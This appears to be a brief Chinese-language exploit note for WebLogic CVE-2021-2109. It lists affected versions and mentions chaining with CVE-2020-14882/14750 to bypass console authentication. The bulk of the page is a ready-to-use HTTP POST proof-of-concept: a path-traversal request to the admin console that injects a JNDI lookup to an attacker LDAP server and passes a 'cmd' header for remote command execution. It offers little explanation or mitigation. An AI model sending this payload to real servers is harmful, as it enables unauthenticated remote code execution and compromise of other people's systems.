weblogic cve-2021-2109

weblogic cve-2021-2109

Scroll Down

影响版本

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

需要出网环境

配合cve-2020-14882 POC 同样可以配合cve-2020-14750绕过进控制台
   
POST /console/css/%252e%252e/consolejndi.portal?
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.co
nsole.handles.JndiBindingHandle(%22ldap://xx.xx.xx.xx:1389/Basic/WeblogicEcho;
AdminServer%22) HTTP/1.1
Host: 192.168.10.11:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
cmd: pwd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
ADMINCONSOLESESSION=abcd
Connection: close

image.png